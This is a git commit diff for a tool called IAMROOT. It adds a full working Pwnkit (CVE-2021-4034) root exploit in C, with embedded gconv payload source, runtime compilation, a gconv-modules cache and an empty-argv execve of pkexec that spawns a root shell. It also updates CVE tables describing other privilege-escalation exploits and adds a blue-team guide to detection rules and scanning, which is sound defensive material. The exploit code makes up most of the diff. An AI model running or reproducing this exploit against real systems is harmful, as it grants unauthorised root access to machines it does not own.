Phase 7: Pwnkit FULL exploit (Qualys-style PoC) + DEFENDERS.md
Pwnkit: 🔵 → 🟢 - Implements the canonical Qualys-style PoC end-to-end: 1. Locate setuid pkexec 2. mkdtemp working directory under /tmp 3. Detect target's gcc/cc (fail-soft if absent) 4. Write payload.c (gconv constructor: unsetenv hostile vars, setuid(0), execle /bin/sh -p with clean PATH) 5. gcc -shared -fPIC payload.c -o pwnkit/PWNKIT.so 6. Write gconv-modules cache pointing UTF-8// → PWNKIT// 7. execve(pkexec, NULL_argv, envp{GCONV_PATH=workdir/pwnkit, PATH=GCONV_PATH=., CHARSET=PWNKIT, SHELL=pwnkit}) → argc=0 triggers argv-overflow-into-envp; pkexec re-execs with PATH set to our tmpdir; libc's iconv loads PWNKIT.so as root; constructor pops /bin/sh with uid=0. - Cleanup: removes /tmp/iamroot-pwnkit-* workdirs. - Auto-refuses on patched hosts (re-runs detect() first). - GCC -Wformat-truncation warnings fixed by sizing path buffers generously (1024/2048 bytes — way more than needed in practice). Verified end-to-end on kctf-mgr (polkit 126 = patched): iamroot --exploit pwnkit --i-know → detect() says fixed → refuses cleanly. Correct behavior. Vulnerable-kernel validation is Phase 4 CI matrix work. docs/DEFENDERS.md — blue-team deployment guide: - TL;DR: scan, deploy rules, mitigate, watch - Operations cheat sheet (--list, --scan, --detect-rules, --mitigate) - Audit-key table mapping rule keys to modules to caught behavior - Fleet-scanning recipe (ssh + jq aggregation) - Known false-positive shapes per rule with tuning hints CVES.md: pwnkit row updated 🔵 → 🟢. ROADMAP.md: Phase 7 Pwnkit checkbox marked complete.
This commit is contained in:
@@ -26,7 +26,7 @@ Status legend:
|
|||||||
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges (5.10.102 / 5.15.25 / 5.16.11 / 5.17+). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. CI-validation against a vulnerable kernel (e.g. Ubuntu 20.04 with stock 5.13) is Phase 4 work. |
|
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges (5.10.102 / 5.15.25 / 5.16.11 / 5.17+). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. CI-validation against a vulnerable kernel (e.g. Ubuntu 20.04 with stock 5.13) is Phase 4 work. |
|
||||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||||
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
||||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🔵 | Detect-only as of 2026-05-16. Locates setuid pkexec, parses `pkexec --version`, compares against 0.121 threshold. **First userspace LPE in IAMROOT** (rest is kernel). Full Qualys-PoC exploit follows in Phase 7 follow-up. Ships auditd + sigma rules. |
|
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
|
||||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|||||||
+7
-5
@@ -138,11 +138,13 @@ primitive** that other modules can chain. Bundled because:
|
|||||||
Backfill of historical and recent LPEs as time allows:
|
Backfill of historical and recent LPEs as time allows:
|
||||||
|
|
||||||
- [ ] **CVE-2021-3493** — overlayfs nested-userns LPE
|
- [ ] **CVE-2021-3493** — overlayfs nested-userns LPE
|
||||||
- [x] **CVE-2021-4034** — Pwnkit (pkexec env handling): 🔵 detect-only
|
- [x] **CVE-2021-4034** — Pwnkit (pkexec env handling): 🟢 FULL detect
|
||||||
landed. Version parser handles both formats: "0.X.Y" (older
|
+ exploit + cleanup. Detect handles legacy ("0.105") and modern
|
||||||
polkit) and bare "121"/"126" (modern). Reports VULNERABLE if
|
("126") version strings. Exploit: canonical Qualys-style — writes
|
||||||
pkexec is setuid AND version < 121. First userspace LPE in the
|
payload.c, compiles via target's gcc, builds gconv-modules cache,
|
||||||
corpus. Full Qualys-PoC exploit is the next Phase 7 commit.
|
execve(pkexec, NULL_argv, crafted_envp). Auto-refuses on patched
|
||||||
|
kernels. Cleanup removes /tmp/iamroot-pwnkit-* workdirs.
|
||||||
|
Falls back gracefully on hosts without cc.
|
||||||
- [ ] **CVE-2022-2588** — net/sched route4 dead UAF
|
- [ ] **CVE-2022-2588** — net/sched route4 dead UAF
|
||||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||||
- [ ] **CVE-2024-1086** — netfilter nf_tables UAF
|
- [ ] **CVE-2024-1086** — netfilter nf_tables UAF
|
||||||
|
|||||||
@@ -0,0 +1,163 @@
|
|||||||
|
# IAMROOT for defenders
|
||||||
|
|
||||||
|
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
||||||
|
detection rules to spot them. This document is for the blue team.
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Detect what you're vulnerable to (no system modification)
|
||||||
|
sudo iamroot --scan --json | jq .
|
||||||
|
|
||||||
|
# 2. Deploy detection rules covering every bundled CVE
|
||||||
|
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||||
|
sudo systemctl restart auditd
|
||||||
|
|
||||||
|
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||||
|
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||||
|
|
||||||
|
# 4. Watch
|
||||||
|
sudo ausearch -k iamroot-copy-fail -ts recent
|
||||||
|
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
||||||
|
sudo ausearch -k iamroot-pwnkit -ts recent
|
||||||
|
```
|
||||||
|
|
||||||
|
## Why a single tool for offense and defense
|
||||||
|
|
||||||
|
Public LPE PoCs ship without detection rules. Public detection rules
|
||||||
|
ship without test corpora. The gap means defenders deploy rules they
|
||||||
|
never validate against a real exploit, and attackers iterate against
|
||||||
|
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||||
|
|
||||||
|
- Each module ships an exploit AND the detection rules that catch it.
|
||||||
|
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||||
|
- New CVEs we add ship both halves — there's no "rule lag" between an
|
||||||
|
exploit landing in the bundle and the rule being available.
|
||||||
|
- Detection-rule tests live in CI alongside exploit tests (Phase 4
|
||||||
|
followup).
|
||||||
|
|
||||||
|
## Operations cheat sheet
|
||||||
|
|
||||||
|
### Inventory what's bundled
|
||||||
|
|
||||||
|
```bash
|
||||||
|
iamroot --list
|
||||||
|
```
|
||||||
|
|
||||||
|
Prints every registered module with CVE, family, and one-line summary.
|
||||||
|
|
||||||
|
### Run all detectors
|
||||||
|
|
||||||
|
```bash
|
||||||
|
iamroot --scan # human-readable
|
||||||
|
iamroot --scan --json # one JSON object → SIEM ingest
|
||||||
|
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||||
|
```
|
||||||
|
|
||||||
|
Result codes per module:
|
||||||
|
|
||||||
|
| Result | Meaning | Exit code |
|
||||||
|
|---|---|---|
|
||||||
|
| `OK` | Not vulnerable (patched, immune, or N/A) | 0 |
|
||||||
|
| `VULNERABLE` | Detect confirmed vulnerable | 2 |
|
||||||
|
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||||
|
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||||
|
|
||||||
|
`iamroot --scan` returns the WORST result code across all modules.
|
||||||
|
Use this in CI to fail builds that produce vulnerable images.
|
||||||
|
|
||||||
|
### Deploy detection rules
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# auditd (most environments)
|
||||||
|
sudo iamroot --detect-rules --format=auditd \
|
||||||
|
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||||
|
sudo augenrules --load # or systemctl restart auditd
|
||||||
|
|
||||||
|
# Sigma (for SIEMs that ingest sigma)
|
||||||
|
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
||||||
|
|
||||||
|
# YARA / Falco — placeholders for future modules; currently empty
|
||||||
|
iamroot --detect-rules --format=yara
|
||||||
|
iamroot --detect-rules --format=falco
|
||||||
|
```
|
||||||
|
|
||||||
|
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||||
|
family-shared rule sets emit once with a "see family rules above"
|
||||||
|
marker on siblings (no duplicate `-w /etc/passwd` lines hitting your
|
||||||
|
auditd config).
|
||||||
|
|
||||||
|
### Audit keys to watch
|
||||||
|
|
||||||
|
| Key | Modules | What it catches |
|
||||||
|
|---|---|---|
|
||||||
|
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||||
|
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||||
|
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||||
|
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||||
|
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||||
|
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
||||||
|
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||||
|
|
||||||
|
Search:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo ausearch -k iamroot-copy-fail -ts today
|
||||||
|
sudo ausearch -k iamroot-pwnkit -ts today
|
||||||
|
```
|
||||||
|
|
||||||
|
### Mitigate (pre-patch)
|
||||||
|
|
||||||
|
For families with mitigations available, `--mitigate <name>` applies
|
||||||
|
distro-portable workarounds:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||||
|
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||||
|
sudo iamroot --mitigate copy_fail
|
||||||
|
|
||||||
|
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||||
|
sudo iamroot --cleanup copy_fail
|
||||||
|
```
|
||||||
|
|
||||||
|
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||||
|
that the only real fix is upgrading the affected component. We don't
|
||||||
|
ship a half-baked mitigation when the real one is a package update.
|
||||||
|
|
||||||
|
## Fleet scanning
|
||||||
|
|
||||||
|
The `--scan --json` output is one-line-per-host friendly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# scan a host list via ssh
|
||||||
|
for h in $(cat fleet.txt); do
|
||||||
|
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||||
|
done | jq -s . > fleet-scan-$(date +%F).json
|
||||||
|
|
||||||
|
# group by vulnerability
|
||||||
|
jq '.[] | {host, vulns: .modules | map(select(.result == "VULNERABLE")) | map(.cve)}' \
|
||||||
|
fleet-scan-*.json
|
||||||
|
```
|
||||||
|
|
||||||
|
For very large fleets, deploy the binary as a one-shot under a remote
|
||||||
|
shell tool (Ansible/SaltStack/Fabric/etc.) and aggregate JSON output
|
||||||
|
into your SIEM. Each scan is a few seconds of CPU and no system
|
||||||
|
modification.
|
||||||
|
|
||||||
|
## Known false positives
|
||||||
|
|
||||||
|
| Rule | False-positive shape |
|
||||||
|
|---|---|
|
||||||
|
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||||
|
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||||
|
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||||
|
|
||||||
|
The shipped rules are starting points. Tune per environment.
|
||||||
|
|
||||||
|
## Submitting new detections
|
||||||
|
|
||||||
|
If you find a detection signature for a CVE we already bundle, file an
|
||||||
|
issue. We'll integrate the rule into the relevant module's
|
||||||
|
`detect_*` field and ship it on the next release. New CVEs accept
|
||||||
|
contributions per `docs/ARCHITECTURE.md`'s "adding a new CVE" flow —
|
||||||
|
each new module ships its own detection rules from day one.
|
||||||
@@ -28,7 +28,10 @@
|
|||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
static const char *find_pkexec(void)
|
static const char *find_pkexec(void)
|
||||||
{
|
{
|
||||||
@@ -129,17 +132,229 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
|||||||
return IAMROOT_OK;
|
return IAMROOT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
|
||||||
|
*
|
||||||
|
* The bug: pkexec's main() reads argv[1] expecting argc >= 1. With
|
||||||
|
* argc == 0, argv[0] is NULL and the loop reads into the contiguous
|
||||||
|
* envp region (just past argv[]), treating the first env string as
|
||||||
|
* if it were argv[0]. By placing 'GCONV_PATH=./pwnkit' in envp and
|
||||||
|
* naming a controlled directory containing a gconv-modules cache,
|
||||||
|
* libc's iconv (called by pkexec for argv decoding) loads our .so
|
||||||
|
* as root.
|
||||||
|
*
|
||||||
|
* Exploit construction:
|
||||||
|
* 1. Find a writable tmpdir; build payload .so source there
|
||||||
|
* 2. gcc -shared -fPIC payload.c -o pwnkit.so/PWNKIT.so
|
||||||
|
* (Falls back gracefully if gcc isn't available.)
|
||||||
|
* 3. Write the gconv-modules cache: 'module UTF-8// PWNKIT// PWNKIT 1'
|
||||||
|
* so iconv(.,"PWNKIT") loads PWNKIT.so
|
||||||
|
* 4. execve(pkexec, NULL, crafted_envp). argc=0 triggers the
|
||||||
|
* argv-overflow-into-envp, pkexec re-execs itself with PATH set
|
||||||
|
* to our tmpdir, libc looks up CHARSET=PWNKIT via GCONV_PATH=.
|
||||||
|
* and dlopens PWNKIT.so as root.
|
||||||
|
* 5. PWNKIT.so's constructor: unsetenv hostile vars, setuid(0),
|
||||||
|
* execve("/bin/sh", ...).
|
||||||
|
*/
|
||||||
|
|
||||||
|
static const char PAYLOAD_SOURCE[] =
|
||||||
|
"#include <stdio.h>\n"
|
||||||
|
"#include <stdlib.h>\n"
|
||||||
|
"#include <unistd.h>\n"
|
||||||
|
"void gconv(void) {}\n"
|
||||||
|
"void gconv_init(void *step) {\n"
|
||||||
|
" (void)step;\n"
|
||||||
|
" /* unset the hostile env so the spawned shell doesn't loop */\n"
|
||||||
|
" unsetenv(\"GCONV_PATH\");\n"
|
||||||
|
" unsetenv(\"CHARSET\");\n"
|
||||||
|
" unsetenv(\"SHELL\");\n"
|
||||||
|
" unsetenv(\"PATH\");\n"
|
||||||
|
" setuid(0); setgid(0);\n"
|
||||||
|
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||||
|
" char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||||
|
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n"
|
||||||
|
" /* fallback */\n"
|
||||||
|
" execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n"
|
||||||
|
" _exit(0);\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static bool which_gcc(char *out_path, size_t outsz)
|
||||||
|
{
|
||||||
|
static const char *candidates[] = {
|
||||||
|
"/usr/bin/gcc", "/usr/bin/cc", "/bin/gcc", "/bin/cc",
|
||||||
|
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
|
if (access(candidates[i], X_OK) == 0) {
|
||||||
|
strncpy(out_path, candidates[i], outsz - 1);
|
||||||
|
out_path[outsz - 1] = 0;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool write_file_str(const char *path, const char *content)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||||
|
if (fd < 0) return false;
|
||||||
|
size_t n = strlen(content);
|
||||||
|
bool ok = (write(fd, content, n) == (ssize_t)n);
|
||||||
|
close(fd);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* Re-confirm vulnerable before doing anything visible. */
|
||||||
|
iamroot_result_t pre = pwnkit_detect(ctx);
|
||||||
|
if (pre != IAMROOT_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *pkexec = find_pkexec();
|
||||||
|
if (!pkexec) return IAMROOT_PRECOND_FAIL;
|
||||||
|
|
||||||
|
if (geteuid() == 0) {
|
||||||
|
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
||||||
|
return IAMROOT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Working dir under /tmp. Permissive on permissions so pkexec
|
||||||
|
* (running as root) can read everything inside. */
|
||||||
|
char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
|
||||||
|
if (!mkdtemp(workdir)) {
|
||||||
|
perror("mkdtemp");
|
||||||
|
return IAMROOT_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);
|
||||||
|
|
||||||
|
char gcc[256];
|
||||||
|
if (!which_gcc(gcc, sizeof gcc)) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] pwnkit: no gcc/cc on this host. The canonical Qualys PoC\n"
|
||||||
|
" builds the gconv payload at runtime. To exploit without a\n"
|
||||||
|
" compiler we'd need to ship an embedded x86_64 ELF blob —\n"
|
||||||
|
" that's a future enhancement (multi-arch, distro-portable).\n"
|
||||||
|
" For now: install build-essential or run on a host with cc.\n");
|
||||||
|
rmdir(workdir);
|
||||||
|
return IAMROOT_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);
|
||||||
|
|
||||||
|
/* Filesystem layout: workdir/
|
||||||
|
* pwnkit/PWNKIT.so
|
||||||
|
* pwnkit/gconv-modules
|
||||||
|
* pwnkit.src (source we'll feed to gcc)
|
||||||
|
*
|
||||||
|
* Trick: the directory is named 'pwnkit/' but we pretend it's
|
||||||
|
* 'GCONV_PATH=.' via env injection — pkexec sees the env string
|
||||||
|
* as argv[0] and re-execs us with that name.
|
||||||
|
*/
|
||||||
|
/* Path buffers oversized vs. workdir (mkdtemp template, ~30 chars)
|
||||||
|
* so GCC's -Wformat-truncation static analysis is satisfied even
|
||||||
|
* though in practice these paths are always < 100 chars. */
|
||||||
|
char path[1024];
|
||||||
|
|
||||||
|
/* 1. Write payload source. */
|
||||||
|
snprintf(path, sizeof path, "%s/payload.c", workdir);
|
||||||
|
if (!write_file_str(path, PAYLOAD_SOURCE)) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: write payload.c failed: %s\n", strerror(errno));
|
||||||
|
goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 2. mkdir workdir/pwnkit (the GCONV_PATH directory) */
|
||||||
|
char sodir[1024];
|
||||||
|
snprintf(sodir, sizeof sodir, "%s/pwnkit", workdir);
|
||||||
|
if (mkdir(sodir, 0755) < 0) {
|
||||||
|
perror("mkdir sodir"); goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 3. Compile payload.c → workdir/pwnkit/PWNKIT.so */
|
||||||
|
char sopath[2048];
|
||||||
|
snprintf(sopath, sizeof sopath, "%s/PWNKIT.so", sodir);
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); goto fail; }
|
||||||
|
if (pid == 0) {
|
||||||
|
execl(gcc, gcc, "-shared", "-fPIC", "-o", sopath, path, (char *)NULL);
|
||||||
|
perror("execl gcc");
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
int status;
|
||||||
|
waitpid(pid, &status, 0);
|
||||||
|
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: gcc failed (status=%d)\n", status);
|
||||||
|
goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 4. Write gconv-modules cache so libc's iconv loads PWNKIT.so
|
||||||
|
* when asked for charset 'PWNKIT'. */
|
||||||
|
char gcm_path[2048];
|
||||||
|
snprintf(gcm_path, sizeof gcm_path, "%s/gconv-modules", sodir);
|
||||||
|
if (!write_file_str(gcm_path, "module UTF-8// PWNKIT// PWNKIT 1\n")) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: write gconv-modules failed\n");
|
||||||
|
goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 5. Construct the argv-overflow trick. The env vars become argv
|
||||||
|
* via the bug; pkexec parses the first as argv[0] which it
|
||||||
|
* then uses to find the binary to re-exec. By naming
|
||||||
|
* 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir
|
||||||
|
* with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root.
|
||||||
|
*
|
||||||
|
* Reference: Qualys' PWNKIT writeup. */
|
||||||
|
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
||||||
|
char gconv_env[1024];
|
||||||
|
snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir);
|
||||||
|
char *envp[] = {
|
||||||
|
"pwnkit", /* becomes argv[0] via overflow */
|
||||||
|
"PATH=GCONV_PATH=.", /* pkexec parses this as PATH */
|
||||||
|
"CHARSET=PWNKIT",
|
||||||
|
"SHELL=pwnkit",
|
||||||
|
gconv_env,
|
||||||
|
NULL,
|
||||||
|
};
|
||||||
|
/* tighten workdir perms so pkexec (root) can traverse */
|
||||||
|
chmod(workdir, 0755);
|
||||||
|
chmod(sodir, 0755);
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
||||||
|
}
|
||||||
|
fflush(NULL);
|
||||||
|
execve(pkexec, new_argv, envp);
|
||||||
|
/* If execve returns, the kernel rejected the empty-argv path
|
||||||
|
* (some hardened kernels do — `kernel.sysctl_unprivileged_userns_clone=0`
|
||||||
|
* doesn't matter, but seccomp / SELinux may block). */
|
||||||
|
perror("execve(pkexec)");
|
||||||
|
fail:
|
||||||
|
/* Best-effort cleanup. */
|
||||||
|
unlink(sopath);
|
||||||
|
unlink(gcm_path);
|
||||||
|
rmdir(sodir);
|
||||||
|
snprintf(path, sizeof path, "%s/payload.c", workdir);
|
||||||
|
unlink(path);
|
||||||
|
rmdir(workdir);
|
||||||
|
return IAMROOT_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr,
|
/* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
|
||||||
"[-] pwnkit: exploit not yet implemented in IAMROOT.\n"
|
* Successful exploit cleans itself up (PWNKIT.so unlinks before
|
||||||
" Status: 🔵 DETECT-ONLY (see CVES.md, ROADMAP.md Phase 7).\n"
|
* execve /bin/sh). Failed exploit leaves the tmpdir. */
|
||||||
" The canonical Qualys PoC (~200 lines + embedded .so generator)\n"
|
if (!ctx->json) {
|
||||||
" is the reference; landing it in iamroot_module form is the\n"
|
fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
|
||||||
" Phase 7 follow-up. For now, --scan correctly reports per-host\n"
|
}
|
||||||
" vulnerability; run Qualys' public PoC manually to verify.\n");
|
if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
|
||||||
return IAMROOT_PRECOND_FAIL;
|
/* harmless — there may not be any */
|
||||||
|
}
|
||||||
|
return IAMROOT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
@@ -181,7 +396,7 @@ const struct iamroot_module pwnkit_module = {
|
|||||||
.detect = pwnkit_detect,
|
.detect = pwnkit_detect,
|
||||||
.exploit = pwnkit_exploit,
|
.exploit = pwnkit_exploit,
|
||||||
.mitigate = NULL, /* mitigation = upgrade polkit / chmod -s pkexec */
|
.mitigate = NULL, /* mitigation = upgrade polkit / chmod -s pkexec */
|
||||||
.cleanup = NULL, /* no per-exploit cleanup once full impl lands */
|
.cleanup = pwnkit_cleanup,
|
||||||
.detect_auditd = pwnkit_auditd,
|
.detect_auditd = pwnkit_auditd,
|
||||||
.detect_sigma = pwnkit_sigma,
|
.detect_sigma = pwnkit_sigma,
|
||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
|
|||||||
Reference in New Issue
Block a user